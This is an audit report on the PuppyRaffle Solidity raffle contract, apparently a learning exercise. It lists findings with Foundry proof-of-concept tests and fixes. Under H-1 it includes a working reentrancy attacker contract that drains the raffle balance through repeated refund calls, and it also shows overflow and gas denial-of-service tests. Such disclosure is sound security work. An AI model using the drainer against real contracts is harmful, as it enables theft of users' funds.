Protocol Audit Report

Version 1.0

Akshat

July 18, 2024

Protocol Audit Report

Akshat

July 17, 2024

Prepared by: Akshat Lead Auditors: - Akshat

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Akshat team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

It was a big audit but gave me confidence to go and do more of these audits. The report writing is kinda boring ngl

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	2
Gas	2
Info	8
Total	18

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows attacker to drain raffle balance

Description: The `PuppyRaffle::refund` doesn't follow CEI(Checks,Effects,Interactions) and as a result allows participants to drain the contract balance

In the `PuppyRaffle::refund` function we make an external call to `msg.sender` , and after making this call we update the `PuppyRaffle::players` array

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
=>      payable(msg.sender).sendValue(entranceFee);
=>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could be a smart contract with a `fallback`/`receive` function which calls the `PuppyRaffle::refund` function again and clain amother refund. They could continue the cycle till the contract balance is drained

Impact: All fees paid by raffle entrants could be drained by malicious player

Proof of Concept:

1. User enters the raffle
2. Attacker sets up the contract with a `fallback` function which calls the `PuppyRaffle::refund` function again
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` function from their attack contract , draining the contract balance

Proof of code

Place the following test into your `PuppyRaffleTest.t.sol` test suite

```
function test_Reentrancy_Refund() public
    {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
           puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker,entranceFee);

        uint256 initialRaffleContractBalance = address(puppyRaffle).
           balance;
        uint256 initialAttackContractBalance = address(attackerContract
           ).balance;

        // attack :)
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        uint256 finalRaffleContractBalance = address(puppyRaffle).
            balance;
        uint256 finalAttackContractBalance = address(attackerContract).
            balance;

        console.log("initialRaffleContractBalance ",
            initialRaffleContractBalance);
        console.log("initialAttackContractBalance ",
            initialAttackContractBalance);
        console.log("finalRaffleContractBalance ",
            finalRaffleContractBalance);
        console.log("finalAttackContractBalance ",
            finalAttackContractBalance);
    }
```

and this contract as well

```
contract ReentrancyAttacker{
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle)
    {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable
    {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function stealMonies() internal
    {
        if(address(puppyRaffle).balance>=entranceFee)
        {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable{
        stealMonies();
    }

    receive() external payable{
        stealMonies();
    }
}
```

Recommended Mitigation: To prevent this , we should have our `PuppyRaffle::refund` function update the `PuppyRaffle::players` array before making the external call. Additionally , the event must also be emitted before the call.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`,`block.timestamp` and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can predict these values or know them ahead of time to choose the winnner of the raffle themselves

Note: This additionally means that users could front-run this function and call the `refund` function if they see they are not the winner.

Impact: Any user can influence the winner of the raffle , winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles

Proof of Concept:

1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. Also see the solidity blog on prevrandao , `block.difficulty` was recently replaced by `block.prevrandao`
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner

3. Users can revert the `PuppyRaffle::selectWinner` function if they are not the winner , or if they dont like the puppy they would win.

Using on-chain values as randomness seed is a well-documented attack vector in the blockchain space

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow in `PuppyRaffle::selectWinner` , resulting in loosing out on fees

Description: In solidity versions prior to `0.8.0` , integers were subject to integer overflows

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1;
// 0 (wrap around due to overflow)
```

Impact: In `PuppyRaffle::selectWinner` , `totalFees` accumulated for `feeAddress` to be collected via the `PuppyRaffle::withdrawFees` function . However if the `totalFees` variable overflows , then `feeAddress` may not be able to collect the correct amount of fees , making fees permanently stuck in the contract

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees (notice that
           playersEntered modifier is being used)
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

1. Use a newer version of solidity(reverts instead of silently overflowing) , and use `uint256` instead of `uint64` for `totalFees`
2. You could use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with `uint64` if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are many attack vectors possible because of this require statement , so we recommend removing it anyways. For example , some other contract might self destruct and force eth into our raffle contract , which would mess up this equality and we would never be able to withdraw fees

Medium

[M-1] Looping through `PuppyRaffle::players` array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service(DoS) attack , incrementing gas costs for future entrants

IMPACT : Med , LIKELIHOOD : Med

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` array to check for duplicates. The longer the `PuppyRaffle::players` array , the more checks(bigger for loop) the new player will have to make while entering raffle . This means the gas cost for players entering the raffle just after the event starts will be dramatically lower thatn the players entering the event later.

```
=>    for (uint256 i = 0; i < players.length - 1; i++) {
          for (uint256 j = i + 1; j < players.length; j++) {
              require(players[i] != players[j], "PuppyRaffle: Duplicate
                  player");
          }
      }
```

Impact: The gas costs for raffle entrants will increase as more people enter the raffle. This will discourage later users from entering , and causing a rush at the start of raffle , where everyone would try to enter the raffle as early as possible

An attacker might fill up the `PuppyRaffle::players` array so that gas costs become so high for the next entrant , that no one is able to enter the raffle , and the attacker will get a guarenteed win.

Proof of Concept: If we have 2 sets of 100 players , their gas costs of entering will be as follows - First 100 = ~ 6252047 gas - Next 100 = ~ 18068137 gas

Which is almost 3x more for the second 100 players

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```

    function test_DoS() public
    {
        vm.txGasPrice(1);
        // enter 100 players and see how much gas it costs
        uint256 numPlayers = 100;
        address[] memory players = new address[](numPlayers);
        for(uint256 i=0;i<numPlayers;i++)
        {
            players[i] = address(uint160(i));
        }
        uint256 gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee*numPlayers}(players)
            ;
        uint256 gasAfter = gasleft();
        uint256 gasUsed = (gasBefore-gasAfter) * tx.gasprice;
        console.log("Gas used for first 100 ",gasUsed); // 6252047

        // enter next 100 players
        address[] memory playersNew = new address[](numPlayers);
        for(uint256 i=0;i<numPlayers;i++)
        {
            playersNew[i] = address(uint160(i + numPlayers));
        }
        uint256 gasBeforeNew = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee*numPlayers}(
            playersNew);
        uint256 gasAfterNew = gasleft();
        uint256 gasUsedNew = (gasBeforeNew-gasAfterNew) * tx.gasprice;
        console.log("Gas used for first 100 ",gasUsedNew); // 18068137

        assert(gasUsedNew > gasUsed);
    }
```

Recommended Mitigation: There can be many ways to mitigate this

1. consider allowing duplicates. Any user can anyway make another wallet address to enter the raffle .
2. Consider using a mapping to check for duplicates. This will allow a constant time lookup for checking whether a user has entered the raffle

- create a mapping from address to boolean
- when new players try to enter , check if any of them have entered before or not
- If yes , then revert
- If no, then update all of their addresses as true in the mapping
- Reset the mapping in the selectWinner function

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
            );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
            sender, block.timestamp, block.difficulty))) % players.
            length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
=>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.(means the users which were smart contracts without receive/fallback , may enter again but this time with real wallets instead of smart contract wallets)

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

> Pull over push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for the player at index 0 , causing a player at index 0 to incorrecty think that they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` at index 0 , this will return 0 . But according to the natspec , it will also return 0 if the player has not entered the raffle

```
    /// @notice a way to get the index in the array
    /// @param player the address of a player in the raffle
    /// @return the index of the player in the array, if they are not
        active, it returns 0
    function getActivePlayerIndex(address player) external view returns
         (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 to incorrecty think that they have not entered the raffle , and attempt to enter the raffle again , wasting gas

Proof of Concept:

1. User enters the raffle , being the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered due to the function documentation

Recommended Mitigation:

1. If the player is not found , just revert instead of returning 0
2. Reserve the 0th position in each competition(not recommended)
3. (best solution) Instead of returning an `uint256` , return an `int256` . When the player is not found in the array , return -1

[L-2] `PuppyRaffle::getActivePlayerIndex` loops through the `PuppyRaffle::players` array to find the index of the given player , which is a potential DoS (Denial of Service) attack

Description: When a user wants a refund , they need to know their index in the `players` array, which they can find via the `PuppyRaffle::getActivePlayerIndex` function . But this function requires looping through the entire array till the required address is reached. This is unfavourable/ more expensive for later entrants of the raffle as they need to go through more number of iterations in the for loop, causing them more gas , which is unfair.

Impact: People would rush to enter the raffle in the starting. Also , a malicious user might fill up the players array so that later entrants might not be able to get their index as the gas costs would exceed their block gas limit.

Proof of Concept: If 100 players enter the array , the gas needed to get their index is as follows - Player 1 : ~1600 gas - Player 100 : ~50,000 gas

Clearly Player 100 needs to use more than 30x gas than Player 1 to get their index

Proof of code

Paste the following test into yout `PuppyRaffleTest.t.sol` test suite

```
function test_DoS_getActivePlayerIndex() public
    {
        uint256 numPlayers = 100;
        address[] memory players = new address[](numPlayers);

        for(uint i = 0;i<numPlayers;i++)
        {
            players[i] = address(uint160(i + 1)); // address(0) may
                pose some problems
        }

        puppyRaffle.enterRaffle{value: entranceFee*numPlayers}(players)
            ;

        uint256 gasBefore = gasleft();
        uint256 index = puppyRaffle.getActivePlayerIndex(players[0]);
        uint256 gasAfter = gasleft();

        uint256 gasUsed = gasBefore - gasAfter; // 1612

        console.log("Gas used for player(1) : ", gasUsed);

        uint256 gasBeforeNew = gasleft();
        uint256 indexNew = puppyRaffle.getActivePlayerIndex(players
            [99]);
        uint256 gasAfterNew = gasleft();

        uint256 gasUsedNew = gasBeforeNew - gasAfterNew; // 50221

        console.log("Gas used for player(100) : ", gasUsedNew);

        assert(gasUsedNew>gasUsed);

    }
```

Recommended Mitigation:

1. Use a mapping from address to index and update it while the players are entering the raffle

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage costs more gas as compared to reading a constant or immutable variable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length`, you are reading from storage as opposed to memory , leading to more gas being spent

```
+        uint256 playerLength = players.length
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playerLength - 1; i++) {
-                for (uint256 j = i + 1; j < players.length; j++) {
+                for (uint256 j = i + 1; j < playerLength; j++) {
                    require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
                }
            }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

```
-   pragma solidity ^0.7.6;
+   pragma solidity 0.7.6;
```

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2]: Using an outdated version of solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 70

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 235

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI , which is not the best practice

It's best to keep code clean and follow CEI(checks , effects , interactions)

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals on a codebase , instead they should be made constant state variables which greatly enhances code readability and is a good practice to follow

```
+        uint256 private constant PRIZE_POOL_PERCENTAGE = 80;
+        uint256 private constant FEE_PERCENTAGE = 20;
+        uint256 private constant POOL_PRECISION = 100;
         .
         .
         .

         function selectWinner() external
         {
         .
         .
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;

+        uint256 prizePool = (totalAmountCollected *
    PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
+        uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
    POOL_PRECISION;
         .
         .
         }
```

[I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

The `PuppyRaffle::_isActivePlayer` function is an internal function and has never been used inside the codebase, it is 'dead' code , and should be removed. It is using up gas in deployment and is also cluttering up the codebase.

```
-    function _isActivePlayer() internal view returns (bool) {
```

```
-       for (uint256 i = 0; i < players.length; i++) {
-           if (players[i] == msg.sender) {
-               return true;
-           }
-       }
-       return false;
-   }
```

[I-7] Events should have some indexed parameters

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 59

  ```
      event RaffleEnter(address[] newPlayers);
  ```

- Found in src/PuppyRaffle.sol Line: 60

  ```
      event RaffleRefunded(address player);
  ```

- Found in src/PuppyRaffle.sol Line: 61

  ```
      event FeeAddressChanged(address newFeeAddress);
  ```

[I-8] Some functions are missing events

It is good practice to emit events when certain functions are executed successfully, it helps in maintaining transparency and makes off-chain monitoring easier

Instances: - `PuppyRaffle::selectWinner` - `PuppyRaffle::withdrawFees` - `PuppyRaffle::tokenURI`